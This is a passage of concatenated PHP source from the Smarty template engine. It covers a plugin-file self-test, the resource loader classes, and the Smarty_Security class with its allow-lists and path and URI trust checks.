                'function.html_table.php'               => true,
                'function.mailto.php'                   => true,
                'function.math.php'                     => true,
                'modifier.capitalize.php'               => true,
                'modifier.date_format.php'              => true,
                'modifier.debug_print_var.php'          => true,
                'modifier.escape.php'                   => true,
                'modifier.mb_wordwrap.php'              => true,
                'modifier.regex_replace.php'            => true,
                'modifier.replace.php'                  => true,
                'modifier.spacify.php'                  => true,
                'modifier.truncate.php'                 => true,
                'modifiercompiler.cat.php'              => true,
                'modifiercompiler.count_characters.php' => true,
                'modifiercompiler.count_paragraphs.php' => true,
                'modifiercompiler.count_sentences.php'  => true,
                'modifiercompiler.count_words.php'      => true,
                'modifiercompiler.default.php'          => true,
                'modifiercompiler.escape.php'           => true,
                'modifiercompiler.from_charset.php'     => true,
                'modifiercompiler.indent.php'           => true,
                'modifiercompiler.lower.php'            => true,
                'modifiercompiler.noprint.php'          => true,
                'modifiercompiler.string_format.php'    => true,
                'modifiercompiler.strip.php'            => true,
                'modifiercompiler.strip_tags.php'       => true,
                'modifiercompiler.to_charset.php'       => true,
                'modifiercompiler.unescape.php'         => true,
                'modifiercompiler.upper.php'            => true,
                'modifiercompiler.wordwrap.php'         => true,
                'outputfilter.trimwhitespace.php'       => true,
                'shared.escape_special_chars.php'       => true,
                'shared.literal_compiler_param.php'     => true,
                'shared.make_timestamp.php'             => true,
                'shared.mb_str_replace.php'             => true,
                'shared.mb_unicode.php'                 => true,
                'variablefilter.htmlspecialchars.php'   => true,
            );
            $iterator = new DirectoryIterator($source);
            foreach ($iterator as $file) {
                if (!$file->isDot()) {
                    $filename = $file->getFilename();
                    if (isset($expectedPlugins[ $filename ])) {
                        unset($expectedPlugins[ $filename ]);
                    }
                }
            }
            if ($expectedPlugins) {
                $status = false;
                $message = "FAILED: files missing from libs/plugins: " . join(', ', array_keys($expectedPlugins));
                if ($errors === null) {
                    echo $message . ".\n";
                } else {
                    $errors[ 'plugins' ] = $message;
                }
            } elseif ($errors === null) {
                echo "... OK\n";
            }
        } else {
            $status = false;
            $message = "FAILED: " . SMARTY_PLUGINS_DIR . ' is not a directory';
            if ($errors === null) {
                echo $message . ".\n";
            } else {
                $errors[ 'plugins_dir_constant' ] = $message;
            }
        }
        if ($errors === null) {
            echo "Tests complete.\n";
            echo "</PRE>\n";
        }
        return $status;
    }
}
<?php

/**
 * Smarty Internal Undefined
 *
 * Class to handle undefined method calls or calls to obsolete runtime extensions
 *
 * @package    Smarty
 * @subpackage PluginsInternal
 * @author     Uwe Tews
 */
class Smarty_Internal_Undefined
{
    /**
     * Name of undefined extension class
     *
     * @var string|null
     */
    public $class = null;

    /**
     * Smarty_Internal_Undefined constructor.
     *
     * @param null|string $class name of undefined extension class
     */
    public function __construct($class = null)
    {
        $this->class = $class;
    }

    /**
     * Wrapper for obsolete class Smarty_Internal_Runtime_ValidateCompiled
     *
     * @param \Smarty_Internal_Template $tpl
     * @param array                     $properties special template properties
     * @param bool                      $cache      flag if called from cache file
     *
     * @return bool false
     */
    public function decodeProperties(Smarty_Internal_Template $tpl, $properties, $cache = false)
    {
        if ($cache) {
            $tpl->cached->valid = false;
        } else {
            $tpl->mustCompile = true;
        }
        return false;
    }

    /**
     * Call error handler for undefined method
     *
     * @param string $name unknown method-name
     * @param array  $args argument array
     *
     * @return mixed
     * @throws SmartyException
     */
    public function __call($name, $args)
    {
        if (isset($this->class)) {
            throw new SmartyException("undefined extension class '{$this->class}'");
        } else {
            throw new SmartyException(get_class($args[ 0 ]) . "->{$name}() undefined method");
        }
    }
}
<?php
/**
 * Smarty Resource Plugin
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Rodney Rehm
 */

/**
 * Smarty Resource Plugin
 * Base implementation for resource plugins
 *
 * @package    Smarty
 * @subpackage TemplateResources
 *
 * @method renderUncompiled(Smarty_Template_Source $source, Smarty_Internal_Template $_template)
 * @method populateCompiledFilepath(Smarty_Template_Compiled $compiled, Smarty_Internal_Template $_template)
 * @method process(Smarty_Internal_Template $_smarty_tpl)
 */
abstract class Smarty_Resource
{
    /**
     * resource types provided by the core
     *
     * @var array
     */
    public static $sysplugins = array(
        'file'    => 'smarty_internal_resource_file.php',
        'string'  => 'smarty_internal_resource_string.php',
        'extends' => 'smarty_internal_resource_extends.php',
        'stream'  => 'smarty_internal_resource_stream.php',
        'eval'    => 'smarty_internal_resource_eval.php',
        'php'     => 'smarty_internal_resource_php.php'
    );

    /**
     * Source is bypassing compiler
     *
     * @var boolean
     */
    public $uncompiled = false;

    /**
     * Source must be recompiled on every occasion
     *
     * @var boolean
     */
    public $recompiled = false;

    /**
     * Flag if resource does implement populateCompiledFilepath() method
     *
     * @var bool
     */
    public $hasCompiledHandler = false;

    /**
     * Load Resource Handler
     *
     * @param Smarty $smarty smarty object
     * @param string $type   name of the resource
     *
     * @throws SmartyException
     * @return Smarty_Resource Resource Handler
     */
    public static function load(Smarty $smarty, $type)
    {
        // try smarty's cache
        if (isset($smarty->_cache[ 'resource_handlers' ][ $type ])) {
            return $smarty->_cache[ 'resource_handlers' ][ $type ];
        }
        // try registered resource
        if (isset($smarty->registered_resources[ $type ])) {
            return $smarty->_cache[ 'resource_handlers' ][ $type ] = $smarty->registered_resources[ $type ];
        }
        // try sysplugins dir
        if (isset(self::$sysplugins[ $type ])) {
            $_resource_class = 'Smarty_Internal_Resource_' . smarty_ucfirst_ascii($type);
            return $smarty->_cache[ 'resource_handlers' ][ $type ] = new $_resource_class();
        }
        // try plugins dir
        $_resource_class = 'Smarty_Resource_' . smarty_ucfirst_ascii($type);
        if ($smarty->loadPlugin($_resource_class)) {
            if (class_exists($_resource_class, false)) {
                return $smarty->_cache[ 'resource_handlers' ][ $type ] = new $_resource_class();
            } else {
                $smarty->registerResource(
                    $type,
                    array(
                        "smarty_resource_{$type}_source", "smarty_resource_{$type}_timestamp",
                        "smarty_resource_{$type}_secure", "smarty_resource_{$type}_trusted"
                    )
                );
                // give it another try, now that the resource is registered properly
                return self::load($smarty, $type);
            }
        }
        // try streams
        $_known_stream = stream_get_wrappers();
        if (in_array($type, $_known_stream)) {
            // is known stream
            if (is_object($smarty->security_policy)) {
                $smarty->security_policy->isTrustedStream($type);
            }
            return $smarty->_cache[ 'resource_handlers' ][ $type ] = new Smarty_Internal_Resource_Stream();
        }
        // TODO: try default_(template|config)_handler
        // give up
        throw new SmartyException("Unknown resource type '{$type}'");
    }

    /**
     * extract resource_type and resource_name from template_resource and config_resource
     *
     * @note "C:/foo.tpl" was forced to file resource up till Smarty 3.1.3 (including).
     *
     * @param string $resource_name    template_resource or config_resource to parse
     * @param string $default_resource the default resource_type defined in $smarty
     *
     * @return array with parsed resource name and type
     */
    public static function parseResourceName($resource_name, $default_resource)
    {
        if (preg_match('/^([A-Za-z0-9_\-]{2,})[:]/', $resource_name, $match)) {
            $type = $match[ 1 ];
            $name = substr($resource_name, strlen($match[ 0 ]));
        } else {
            // no resource given, use default
            // or single character before the colon is not a resource type, but part of the filepath
            $type = $default_resource;
            $name = $resource_name;
        }
        return array($name, $type);
    }

    /**
     * modify template_resource according to resource handlers specifications
     *
     * @param \Smarty_Internal_Template|\Smarty $obj               Smarty instance
     * @param string                            $template_resource template_resource to extract resource handler and
     *                                                             name of
     *
     * @return string unique resource name
     * @throws \SmartyException
     */
    public static function getUniqueTemplateName($obj, $template_resource)
    {
        $smarty = $obj->_getSmartyObj();
        list($name, $type) = self::parseResourceName($template_resource, $smarty->default_resource_type);
        // TODO: optimize for Smarty's internal resource types
        $resource = Smarty_Resource::load($smarty, $type);
        // go relative to a given template?
        $_file_is_dotted = $name[ 0 ] === '.' && ($name[ 1 ] === '.' || $name[ 1 ] === '/');
        if ($obj->_isTplObj() && $_file_is_dotted
            && ($obj->source->type === 'file' || $obj->parent->source->type === 'extends')
        ) {
            $name = $smarty->_realpath(dirname($obj->parent->source->filepath) . DIRECTORY_SEPARATOR . $name);
        }
        return $resource->buildUniqueResourceName($smarty, $name);
    }

    /**
     * initialize Source Object for given resource
     * wrapper for backward compatibility to versions < 3.1.22
     * Either [$_template] or [$smarty, $template_resource] must be specified
     *
     * @param Smarty_Internal_Template|null $_template         template object
     * @param Smarty|null                   $smarty            smarty object
     * @param string                        $template_resource resource identifier
     *
     * @return \Smarty_Template_Source Source Object
     * @throws \SmartyException
     */
    public static function source(
        ?Smarty_Internal_Template $_template = null,
        ?Smarty $smarty = null,
        $template_resource = null
    ) {
        return Smarty_Template_Source::load($_template, $smarty, $template_resource);
    }

    /**
     * Load template's source into current template object
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 template source
     * @throws SmartyException        if source cannot be loaded
     */
    abstract public function getContent(Smarty_Template_Source $source);

    /**
     * populate Source Object with meta data from Resource
     *
     * @param Smarty_Template_Source        $source    source object
     * @param Smarty_Internal_Template|null $_template template object
     */
    abstract public function populate(Smarty_Template_Source $source, ?Smarty_Internal_Template $_template = null);

    /**
     * populate Source Object with timestamp and exists from Resource
     *
     * @param Smarty_Template_Source $source source object
     */
    public function populateTimestamp(Smarty_Template_Source $source)
    {
        // intentionally left blank
    }

    /**
     * modify resource_name according to resource handlers specifications
     *
     * @param Smarty  $smarty        Smarty instance
     * @param string  $resource_name resource_name to make unique
     * @param boolean $isConfig      flag for config resource
     *
     * @return string unique resource name
     */
    public function buildUniqueResourceName(Smarty $smarty, $resource_name, $isConfig = false)
    {
        if ($isConfig) {
            if (!isset($smarty->_joined_config_dir)) {
                $smarty->getTemplateDir(null, true);
            }
            return get_class($this) . '#' . $smarty->_joined_config_dir . '#' . $resource_name;
        } else {
            if (!isset($smarty->_joined_template_dir)) {
                $smarty->getTemplateDir();
            }
            return get_class($this) . '#' . $smarty->_joined_template_dir . '#' . $resource_name;
        }
    }

    /*
     * Check if resource must check time stamps when when loading complied or cached templates.
     * Resources like 'extends' which use source components my disable timestamp checks on own resource.
     *
     * @return bool
     */
    /**
     * Determine basename for compiled filename
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 resource's basename
     */
    public function getBasename(Smarty_Template_Source $source)
    {
        return basename(preg_replace('![^\w]+!', '_', $source->name));
    }

    /**
     * @return bool
     */
    public function checkTimestamps()
    {
        return true;
    }
}
<?php
/**
 * Smarty Resource Plugin
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Rodney Rehm
 */

/**
 * Smarty Resource Plugin
 * Wrapper Implementation for custom resource plugins
 *
 * @package    Smarty
 * @subpackage TemplateResources
 */
abstract class Smarty_Resource_Custom extends Smarty_Resource
{
    /**
     * fetch template and its modification time from data source
     *
     * @param string  $name    template name
     * @param string  &$source template source
     * @param integer &$mtime  template modification timestamp (epoch)
     */
    abstract protected function fetch($name, &$source, &$mtime);

    /**
     * Fetch template's modification timestamp from data source
     * {@internal implementing this method is optional.
     *  Only implement it if modification times can be accessed faster than loading the complete template source.}}
     *
     * @param string $name template name
     *
     * @return integer|boolean timestamp (epoch) the template was modified, or false if not found
     */
    protected function fetchTimestamp($name)
    {
        return null;
    }

    /**
     * populate Source Object with meta data from Resource
     *
     * @param Smarty_Template_Source        $source    source object
     * @param Smarty_Internal_Template|null $_template template object
     */
    public function populate(Smarty_Template_Source $source, ?Smarty_Internal_Template $_template = null)
    {
        $source->filepath = $source->type . ':' . $this->generateSafeName($source->name);
        $source->uid = sha1($source->type . ':' . $source->name);
        $mtime = $this->fetchTimestamp($source->name);
        if ($mtime !== null) {
            $source->timestamp = $mtime;
        } else {
            $this->fetch($source->name, $content, $timestamp);
            $source->timestamp = isset($timestamp) ? $timestamp : false;
            if (isset($content)) {
                $source->content = $content;
            }
        }
        $source->exists = !!$source->timestamp;
    }

    /**
     * Load template's source into current template object
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 template source
     * @throws SmartyException        if source cannot be loaded
     */
    public function getContent(Smarty_Template_Source $source)
    {
        $this->fetch($source->name, $content, $timestamp);
        if (isset($content)) {
            return $content;
        }
        throw new SmartyException("Unable to read template {$source->type} '{$source->name}'");
    }

    /**
     * Determine basename for compiled filename
     *
     * @param Smarty_Template_Source $source source object
     *
     * @return string                 resource's basename
     */
    public function getBasename(Smarty_Template_Source $source)
    {
        return basename($this->generateSafeName($source->name));
    }

    /**
     * Removes special characters from $name and limits its length to 127 characters.
     *
     * @param $name
     *
     * @return string
     */
    private function generateSafeName($name): string {
        return substr(preg_replace('/[^A-Za-z0-9._]/', '', (string) $name), 0, 127);
    }
}
<?php
/**
 * Smarty Resource Plugin
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Rodney Rehm
 */

/**
 * Smarty Resource Plugin
 * Base implementation for resource plugins that don't compile cache
 *
 * @package    Smarty
 * @subpackage TemplateResources
 */
abstract class Smarty_Resource_Recompiled extends Smarty_Resource
{
    /**
     * Flag that it's an recompiled resource
     *
     * @var bool
     */
    public $recompiled = true;

    /**
     * Resource does implement populateCompiledFilepath() method
     *
     * @var bool
     */
    public $hasCompiledHandler = true;

    /**
     * compile template from source
     *
     * @param Smarty_Internal_Template $_smarty_tpl do not change variable name, is used by compiled template
     *
     * @throws Exception
     */
    public function process(Smarty_Internal_Template $_smarty_tpl)
    {
        $compiled = &$_smarty_tpl->compiled;
        $compiled->file_dependency = array();
        $compiled->includes = array();
        $compiled->nocache_hash = null;
        $compiled->unifunc = null;
        $level = ob_get_level();
        ob_start();
        $_smarty_tpl->loadCompiler();
        // call compiler
        try {
            eval('?>' . $_smarty_tpl->compiler->compileTemplate($_smarty_tpl));
        } catch (Exception $e) {
            unset($_smarty_tpl->compiler);
            while (ob_get_level() > $level) {
                ob_end_clean();
            }
            throw $e;
        }
        // release compiler object to free memory
        unset($_smarty_tpl->compiler);
        ob_get_clean();
        $compiled->timestamp = time();
        $compiled->exists = true;
    }

    /**
     * populate Compiled Object with compiled filepath
     *
     * @param Smarty_Template_Compiled $compiled  compiled object
     * @param Smarty_Internal_Template $_template template object
     *
     * @return void
     */
    public function populateCompiledFilepath(Smarty_Template_Compiled $compiled, Smarty_Internal_Template $_template)
    {
        $compiled->filepath = false;
        $compiled->timestamp = false;
        $compiled->exists = false;
    }

    /*
       * Disable timestamp checks for recompiled resource.
       *
       * @return bool
       */
    /**
     * @return bool
     */
    public function checkTimestamps()
    {
        return false;
    }
}
<?php
/**
 * Smarty Resource Plugin
 *
 * @package    Smarty
 * @subpackage TemplateResources
 * @author     Rodney Rehm
 */

/**
 * Smarty Resource Plugin
 * Base implementation for resource plugins that don't use the compiler
 *
 * @package    Smarty
 * @subpackage TemplateResources
 */
abstract class Smarty_Resource_Uncompiled extends Smarty_Resource
{
    /**
     * Flag that it's an uncompiled resource
     *
     * @var bool
     */
    public $uncompiled = true;

    /**
     * Resource does implement populateCompiledFilepath() method
     *
     * @var bool
     */
    public $hasCompiledHandler = true;

    /**
     * populate compiled object with compiled filepath
     *
     * @param Smarty_Template_Compiled $compiled  compiled object
     * @param Smarty_Internal_Template $_template template object
     */
    public function populateCompiledFilepath(Smarty_Template_Compiled $compiled, Smarty_Internal_Template $_template)
    {
        $compiled->filepath = $_template->source->filepath;
        $compiled->timestamp = $_template->source->timestamp;
        $compiled->exists = $_template->source->exists;
        if ($_template->smarty->merge_compiled_includes || $_template->source->handler->checkTimestamps()) {
            $compiled->file_dependency[ $_template->source->uid ] =
                array($compiled->filepath, $compiled->timestamp, $_template->source->type,);
        }
    }
}
<?php
/**
 * Smarty plugin
 *
 * @package    Smarty
 * @subpackage Security
 * @author     Uwe Tews
 */
/**
 * FIXME: Smarty_Security API
 *      - getter and setter instead of public properties would allow cultivating an internal cache properly
 *      - current implementation of isTrustedResourceDir() assumes that Smarty::$template_dir and Smarty::$config_dir
 *      are immutable the cache is killed every time either of the variables change. That means that two distinct
 *      Smarty objects with differing
 *        $template_dir or $config_dir should NOT share the same Smarty_Security instance,
 *        as this would lead to (severe) performance penalty! how should this be handled?
 */

/**
 * This class does contain the security settings
 */
#[\AllowDynamicProperties]
class Smarty_Security
{

    /**
     * This is the list of template directories that are considered secure.
     * $template_dir is in this list implicitly.
     *
     * @var array
     */
    public $secure_dir = array();

    /**
     * This is an array of directories where trusted php scripts reside.
     * {@link $security} is disabled during their inclusion/execution.
     *
     * @var array
     */
    public $trusted_dir = array();

    /**
     * List of regular expressions (PCRE) that include trusted URIs
     *
     * @var array
     */
    public $trusted_uri = array();

    /**
     * List of trusted constants names
     *
     * @var array
     */
    public $trusted_constants = array();

    /**
     * This is an array of trusted static classes.
     * If empty access to all static classes is allowed.
     * If set to 'none' none is allowed.
     *
     * @var array
     */
    public $static_classes = array();

    /**
     * This is an nested array of trusted classes and static methods.
     * If empty access to all static classes and methods is allowed.
     * Format:
     * array (
     *         'class_1' => array('method_1', 'method_2'), // allowed methods listed
     *         'class_2' => array(),                       // all methods of class allowed
     *       )
     * If set to null none is allowed.
     *
     * @var array
     */
    public $trusted_static_methods = array();

    /**
     * This is an array of trusted static properties.
     * If empty access to all static classes and properties is allowed.
     * Format:
     * array (
     *         'class_1' => array('prop_1', 'prop_2'), // allowed properties listed
     *         'class_2' => array(),                   // all properties of class allowed
     *       )
     * If set to null none is allowed.
     *
     * @var array
     */
    public $trusted_static_properties = array();

    /**
     * This is an array of trusted PHP functions.
     * If empty all functions are allowed.
     * To disable all PHP functions set $php_functions = null.
     *
     * @var array
     */
    public $php_functions = array('isset', 'empty', 'count', 'sizeof', 'in_array', 'is_array', 'time',);

    /**
     * This is an array of trusted PHP modifiers.
     * If empty all modifiers are allowed.
     * To disable all modifier set $php_modifiers = null.
     *
     * @var array
     */
    public $php_modifiers = array('escape', 'count', 'sizeof', 'nl2br',);

    /**
     * This is an array of allowed tags.
     * If empty no restriction by allowed_tags.
     *
     * @var array
     */
    public $allowed_tags = array();

    /**
     * This is an array of disabled tags.
     * If empty no restriction by disabled_tags.
     *
     * @var array
     */
    public $disabled_tags = array();

    /**
     * This is an array of allowed modifier plugins.
     * If empty no restriction by allowed_modifiers.
     *
     * @var array
     */
    public $allowed_modifiers = array();

    /**
     * This is an array of disabled modifier plugins.
     * If empty no restriction by disabled_modifiers.
     *
     * @var array
     */
    public $disabled_modifiers = array();

    /**
     * This is an array of disabled special $smarty variables.
     *
     * @var array
     */
    public $disabled_special_smarty_vars = array();

    /**
     * This is an array of trusted streams.
     * If empty all streams are allowed.
     * To disable all streams set $streams = null.
     *
     * @var array
     */
    public $streams = array('file');

    /**
     * + flag if constants can be accessed from template
     *
     * @var boolean
     */
    public $allow_constants = true;

    /**
     * + flag if super globals can be accessed from template
     *
     * @var boolean
     */
    public $allow_super_globals = true;

    /**
     * max template nesting level
     *
     * @var int
     */
    public $max_template_nesting = 0;

    /**
     * current template nesting level
     *
     * @var int
     */
    private $_current_template_nesting = 0;

    /**
     * Cache for $resource_dir lookup
     *
     * @var array
     */
    protected $_resource_dir = array();

    /**
     * Cache for $template_dir lookup
     *
     * @var array
     */
    protected $_template_dir = array();

    /**
     * Cache for $config_dir lookup
     *
     * @var array
     */
    protected $_config_dir = array();

    /**
     * Cache for $secure_dir lookup
     *
     * @var array
     */
    protected $_secure_dir = array();

    /**
     * Cache for $php_resource_dir lookup
     *
     * @var array
     */
    protected $_php_resource_dir = null;

    /**
     * Cache for $trusted_dir lookup
     *
     * @var array
     */
    protected $_trusted_dir = null;

    /**
     * Cache for include path status
     *
     * @var bool
     */
    protected $_include_path_status = false;

    /**
     * Cache for $_include_array lookup
     *
     * @var array
     */
    protected $_include_dir = array();

    /**
     * @param Smarty $smarty
     */
    public function __construct($smarty)
    {
        $this->smarty = $smarty;
    }

    /**
     * Check if PHP function is trusted.
     *
     * @param string $function_name
     * @param object $compiler compiler object
     * @deprecated
     * @return boolean                 true if function is trusted
     */
    public function isTrustedPhpFunction($function_name, $compiler)
    {
        if (isset($this->php_functions)
            && (empty($this->php_functions) || in_array($function_name, $this->php_functions))
        ) {
            return true;
        }
        $compiler->trigger_template_error("PHP function '{$function_name}' not allowed by security setting");
        return false; // should not, but who knows what happens to the compiler in the future?
    }

    /**
     * Check if static class is trusted.
     *
     * @param string $class_name
     * @param object $compiler compiler object
     *
     * @return boolean                 true if class is trusted
     */
    public function isTrustedStaticClass($class_name, $compiler)
    {
        if (isset($this->static_classes)
            && (empty($this->static_classes) || in_array($class_name, $this->static_classes))
        ) {
            return true;
        }
        $compiler->trigger_template_error("access to static class '{$class_name}' not allowed by security setting");
        return false; // should not, but who knows what happens to the compiler in the future?
    }

    /**
     * Check if static class method/property is trusted.
     *
     * @param string $class_name
     * @param string $params
     * @param object $compiler compiler object
     *
     * @return boolean                 true if class method is trusted
     */
    public function isTrustedStaticClassAccess($class_name, $params, $compiler)
    {
        if (!isset($params[ 2 ])) {
            // fall back
            return $this->isTrustedStaticClass($class_name, $compiler);
        }
        if ($params[ 2 ] === 'method') {
            $allowed = $this->trusted_static_methods;
            $name = substr($params[ 0 ], 0, strpos($params[ 0 ], '('));
        } else {
            $allowed = $this->trusted_static_properties;
            // strip '$'
            $name = substr($params[ 0 ], 1);
        }
        if (isset($allowed)) {
            if (empty($allowed)) {
                // fall back
                return $this->isTrustedStaticClass($class_name, $compiler);
            }
            if (isset($allowed[ $class_name ])
                && (empty($allowed[ $class_name ]) || in_array($name, $allowed[ $class_name ]))
            ) {
                return true;
            }
        }
        $compiler->trigger_template_error("access to static class '{$class_name}' {$params[2]} '{$name}' not allowed by security setting");
        return false; // should not, but who knows what happens to the compiler in the future?
    }

    /**
     * Check if PHP modifier is trusted.
     *
     * @param string $modifier_name
     * @param object $compiler compiler object
     * @deprecated
     * @return boolean                 true if modifier is trusted
     */
    public function isTrustedPhpModifier($modifier_name, $compiler)
    {
        if (isset($this->php_modifiers)
            && (empty($this->php_modifiers) || in_array($modifier_name, $this->php_modifiers))
        ) {
            return true;
        }
        $compiler->trigger_template_error("modifier '{$modifier_name}' not allowed by security setting");
        return false; // should not, but who knows what happens to the compiler in the future?
    }

    /**
     * Check if tag is trusted.
     *
     * @param string $tag_name
     * @param object $compiler compiler object
     *
     * @return boolean                 true if tag is trusted
     */
    public function isTrustedTag($tag_name, $compiler)
    {
        // check for internal always required tags
        if (in_array(
            $tag_name,
            array(
                'assign', 'call', 'private_filter', 'private_block_plugin', 'private_function_plugin',
                'private_object_block_function', 'private_object_function', 'private_registered_function',
                'private_registered_block', 'private_special_variable', 'private_print_expression',
                'private_modifier'
            )
        )
        ) {
            return true;
        }
        // check security settings
        if (empty($this->allowed_tags)) {
            if (empty($this->disabled_tags) || !in_array($tag_name, $this->disabled_tags)) {
                return true;
            } else {
                $compiler->trigger_template_error("tag '{$tag_name}' disabled by security setting", null, true);
            }
        } elseif (in_array($tag_name, $this->allowed_tags) && !in_array($tag_name, $this->disabled_tags)) {
            return true;
        } else {
            $compiler->trigger_template_error("tag '{$tag_name}' not allowed by security setting", null, true);
        }
        return false; // should not, but who knows what happens to the compiler in the future?
    }

    /**
     * Check if special $smarty variable is trusted.
     *
     * @param string $var_name
     * @param object $compiler compiler object
     *
     * @return boolean                 true if tag is trusted
     */
    public function isTrustedSpecialSmartyVar($var_name, $compiler)
    {
        if (!in_array($var_name, $this->disabled_special_smarty_vars)) {
            return true;
        } else {
            $compiler->trigger_template_error(
                "special variable '\$smarty.{$var_name}' not allowed by security setting",
                null,
                true
            );
        }
        return false; // should not, but who knows what happens to the compiler in the future?
    }

    /**
     * Check if modifier plugin is trusted.
     *
     * @param string $modifier_name
     * @param object $compiler compiler object
     *
     * @return boolean                 true if tag is trusted
     */
    public function isTrustedModifier($modifier_name, $compiler)
    {
        // check for internal always allowed modifier
        if (in_array($modifier_name, array('default'))) {
            return true;
        }
        // check security settings
        if (empty($this->allowed_modifiers)) {
            if (empty($this->disabled_modifiers) || !in_array($modifier_name, $this->disabled_modifiers)) {
                return true;
            } else {
                $compiler->trigger_template_error(
                    "modifier '{$modifier_name}' disabled by security setting",
                    null,
                    true
                );
            }
        } elseif (in_array($modifier_name, $this->allowed_modifiers)
                  && !in_array($modifier_name, $this->disabled_modifiers)
        ) {
            return true;
        } else {
            $compiler->trigger_template_error(
                "modifier '{$modifier_name}' not allowed by security setting",
                null,
                true
            );
        }
        return false; // should not, but who knows what happens to the compiler in the future?
    }

    /**
     * Check if constants are enabled or trusted
     *
     * @param string $const    constant name
     * @param object $compiler compiler object
     *
     * @return bool
     */
    public function isTrustedConstant($const, $compiler)
    {
        if (in_array($const, array('true', 'false', 'null'))) {
            return true;
        }
        if (!empty($this->trusted_constants)) {
            if (!in_array(strtolower($const), $this->trusted_constants)) {
                $compiler->trigger_template_error("Security: access to constant '{$const}' not permitted");
                return false;
            }
            return true;
        }
        if ($this->allow_constants) {
            return true;
        }
        $compiler->trigger_template_error("Security: access to constants not permitted");
        return false;
    }

    /**
     * Check if stream is trusted.
     *
     * @param string $stream_name
     *
     * @return boolean         true if stream is trusted
     * @throws SmartyException if stream is not trusted
     */
    public function isTrustedStream($stream_name)
    {
        if (isset($this->streams) && (empty($this->streams) || in_array($stream_name, $this->streams))) {
            return true;
        }
        throw new SmartyException("stream '{$stream_name}' not allowed by security setting");
    }

    /**
     * Check if directory of file resource is trusted.
     *
     * @param string    $filepath
     * @param null|bool $isConfig
     *
     * @return bool true if directory is trusted
     * @throws \SmartyException if directory is not trusted
     */
    public function isTrustedResourceDir($filepath, $isConfig = null)
    {
        if ($this->_include_path_status !== $this->smarty->use_include_path) {
            $_dir =
                $this->smarty->use_include_path ? $this->smarty->ext->_getIncludePath->getIncludePathDirs($this->smarty) : array();
            if ($this->_include_dir !== $_dir) {
                $this->_updateResourceDir($this->_include_dir, $_dir);
                $this->_include_dir = $_dir;
            }
            $this->_include_path_status = $this->smarty->use_include_path;
        }
        $_dir = $this->smarty->getTemplateDir();
        if ($this->_template_dir !== $_dir) {
            $this->_updateResourceDir($this->_template_dir, $_dir);
            $this->_template_dir = $_dir;
        }
        $_dir = $this->smarty->getConfigDir();
        if ($this->_config_dir !== $_dir) {
            $this->_updateResourceDir($this->_config_dir, $_dir);
            $this->_config_dir = $_dir;
        }
        if ($this->_secure_dir !== $this->secure_dir) {
            $this->secure_dir = (array)$this->secure_dir;
            foreach ($this->secure_dir as $k => $d) {
                $this->secure_dir[ $k ] = $this->smarty->_realpath($d . DIRECTORY_SEPARATOR, true);
            }
            $this->_updateResourceDir($this->_secure_dir, $this->secure_dir);
            $this->_secure_dir = $this->secure_dir;
        }
        $addPath = $this->_checkDir($filepath, $this->_resource_dir);
        if ($addPath !== false) {
            $this->_resource_dir = array_merge($this->_resource_dir, $addPath);
        }
        return true;
    }

    /**
     * Check if URI (e.g. {fetch} or {html_image}) is trusted
     * To simplify things, isTrustedUri() resolves all input to "{$PROTOCOL}://{$HOSTNAME}".
     * So "http://username:password@hello.world.example.org:8080/some-path?some=query-string"
     * is reduced to "http://hello.world.example.org" prior to applying the patters from {@link $trusted_uri}.
     *
     * @param string $uri
     *
     * @return boolean         true if URI is trusted
     * @throws SmartyException if URI is not trusted
     * @uses   $trusted_uri for list of patterns to match against $uri
     */
    public function isTrustedUri($uri)
    {
        $_uri = parse_url($uri);
        if (!empty($_uri[ 'scheme' ]) && !empty($_uri[ 'host' ])) {
            $_uri = $_uri[ 'scheme' ] . '://' . $_uri[ 'host' ];
            foreach ($this->trusted_uri as $pattern) {
                if (preg_match($pattern, $_uri)) {
                    return true;
                }
            }
        }
        throw new SmartyException("URI '{$uri}' not allowed by security setting");
    }

    /**
     * Remove old directories and its sub folders, add new directories
     *
     * @param array $oldDir
     * @param array $newDir
     */
    private function _updateResourceDir($oldDir, $newDir)
    {
        foreach ($oldDir as $directory) {
            //           $directory = $this->smarty->_realpath($directory, true);
            $length = strlen($directory);
            foreach ($this->_resource_dir as $dir) {
                if (substr($dir, 0, $length) === $directory) {
                    unset($this->_resource_dir[ $dir ]);
                }
            }
        }
        foreach ($newDir as $directory) {
            //           $directory = $this->smarty->_realpath($directory, true);
            $this->_resource_dir[ $directory ] = true;
        }
    }

    /**
     * Check if file is inside a valid directory
     *
     * @param string $filepath
     * @param array  $dirs valid directories
     *
     * @return array|bool
     * @throws \SmartyException
     */
    private function _checkDir($filepath, $dirs)
    {
        $directory = dirname($this->smarty->_realpath($filepath, true)) . DIRECTORY_SEPARATOR;
        $_directory = array();
        if (!preg_match('#[\\\\/][.][.][\\\\/]#', $directory)) {
            while (true) {
                // test if the directory is trusted
                if (isset($dirs[ $directory ])) {
                    return $_directory;
                }
                // abort if we've reached root
                if (!preg_match('#[\\\\/][^\\\\/]+[\\\\/]$#', $directory)) {
                    // give up
                    break;
                }
                // remember the directory to add it to _resource_dir in case we're successful
                $_directory[ $directory ] = true;
                // bubble up one level
                $directory = preg_replace('#[\\\\/][^\\\\/]+[\\\\/]$#', DIRECTORY_SEPARATOR, $directory);
            }
        }
        // give up
        throw new SmartyException(sprintf('Smarty Security: not trusted file path \'%s\' ', $filepath));
    }

    /**
     * Loads security class and enables security
     *
     * @param \Smarty                $smarty
     * @param string|Smarty_Security $security_class if a string is used, it must be class-name
     *
     * @return \Smarty current Smarty instance for chaining
     * @throws \SmartyException when an invalid class name is provided
     */
    public static function enableSecurity(Smarty $smarty, $security_class)
    {
        if ($security_class instanceof Smarty_Security) {
            $smarty->security_policy = $security_class;
            return $smarty;
        } elseif (is_object($security_class)) {
            throw new SmartyException("Class '" . get_class($security_class) . "' must extend Smarty_Security.");
        }
        if ($security_class === null) {
            $security_class = $smarty->security_class;
        }
        if (!class_exists($security_class)) {
            throw new SmartyException("Security class '$security_class' is not defined");
        } elseif ($security_class !== 'Smarty_Security' && !is_subclass_of($security_class, 'Smarty_Security')) {
            throw new SmartyException("Class '$security_class' must extend Smarty_Security.");
        } else {
            $smarty->security_policy = new $security_class($smarty);
        }
        return $smarty;
    }

    /**
     * Start template processing
     *
     * @param $template
     *
